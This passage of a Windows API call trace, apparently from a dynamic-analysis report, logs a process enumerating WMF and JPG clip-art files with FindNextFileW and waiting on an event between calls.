lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe736331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe736331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe78281d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1 [0267.485] ResetEvent (hEvent=0x2b8) returned 1 [0267.485] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.671] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe736331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe736331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1 [0267.681] ResetEvent (hEvent=0x2b8) returned 1 [0267.681] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.684] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7a8a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7a8a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1 [0267.684] ResetEvent (hEvent=0x2b8) returned 1 [0267.684] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.956] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7a8a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7a8a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1 [0267.956] ResetEvent (hEvent=0x2b8) returned 1 [0267.956] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0267.969] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7a8a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7a8a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7a8a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1 [0267.969] ResetEvent (hEvent=0x2b8) returned 1 [0267.969] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.012] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7a8a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7a8a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7a8a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1 [0268.012] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7a8a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7a8a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7a8a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1 [0268.012] ResetEvent (hEvent=0x2b8) returned 1 [0268.012] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.019] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe78281d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe78281d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7a8a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1 [0268.019] ResetEvent (hEvent=0x2b8) returned 1 [0268.019] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.190] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7a8a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7a8a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7a8a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1 [0268.190] ResetEvent (hEvent=0x2b8) returned 1 [0268.191] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.200] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7a8a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7a8a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7a8a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1 [0268.200] ResetEvent (hEvent=0x2b8) returned 1 [0268.200] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.509] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7a8a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7a8a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7a8a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1 [0268.510] ResetEvent (hEvent=0x2b8) returned 1 [0268.510] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.513] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe78281d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe78281d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7a8a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1 [0268.514] ResetEvent (hEvent=0x2b8) returned 1 [0268.514] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.521] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1 [0268.521] ResetEvent (hEvent=0x2b8) returned 1 [0268.521] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.533] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1 [0268.533] ResetEvent (hEvent=0x2b8) returned 1 [0268.533] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.544] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1 [0268.545] ResetEvent (hEvent=0x2b8) returned 1 [0268.545] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.557] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1 [0268.558] ResetEvent (hEvent=0x2b8) returned 1 [0268.558] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.570] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1 [0268.570] ResetEvent (hEvent=0x2b8) returned 1 [0268.571] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.854] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7a8a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7a8a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1 [0268.854] ResetEvent (hEvent=0x2b8) returned 1 [0268.854] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.945] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1 [0268.945] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1 [0268.945] ResetEvent (hEvent=0x2b8) returned 1 [0268.945] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.988] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1 [0268.988] ResetEvent (hEvent=0x2b8) returned 1 [0268.988] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0268.999] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7a8a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7a8a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7cecf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1 [0268.999] ResetEvent (hEvent=0x2b8) returned 1 [0268.999] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.008] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1 [0269.008] ResetEvent (hEvent=0x2b8) returned 1 [0269.008] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.199] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1 [0269.199] ResetEvent (hEvent=0x2b8) returned 1 [0269.199] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.208] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1 [0269.209] ResetEvent (hEvent=0x2b8) returned 1 [0269.209] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.230] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe81b154, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe81b154, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1 [0269.230] ResetEvent (hEvent=0x2b8) returned 1 [0269.231] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.296] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1 [0269.296] ResetEvent (hEvent=0x2b8) returned 1 [0269.296] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.315] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe81b154, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1 [0269.316] ResetEvent (hEvent=0x2b8) returned 1 [0269.316] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.324] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7f4eef, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7f4eef, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1 [0269.324] ResetEvent (hEvent=0x2b8) returned 1 [0269.324] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.347] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe81b154, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1 [0269.347] ResetEvent (hEvent=0x2b8) returned 1 [0269.347] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.373] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe81b154, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1 [0269.373] ResetEvent (hEvent=0x2b8) returned 1 [0269.373] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.391] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7cecf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7cecf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7f4eef, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1 [0269.391] ResetEvent (hEvent=0x2b8) returned 1 [0269.392] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.433] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe867602, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1 [0269.433] ResetEvent (hEvent=0x2b8) returned 1 [0269.433] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.521] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1 [0269.521] ResetEvent (hEvent=0x2b8) returned 1 [0269.521] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.551] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1 [0269.552] ResetEvent (hEvent=0x2b8) returned 1 [0269.552] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.570] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1 [0269.571] ResetEvent (hEvent=0x2b8) returned 1 [0269.571] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.601] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1 [0269.601] ResetEvent (hEvent=0x2b8) returned 1 [0269.601] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.862] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1 [0269.863] ResetEvent (hEvent=0x2b8) returned 1 [0269.863] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.907] FindNextFileW (in: 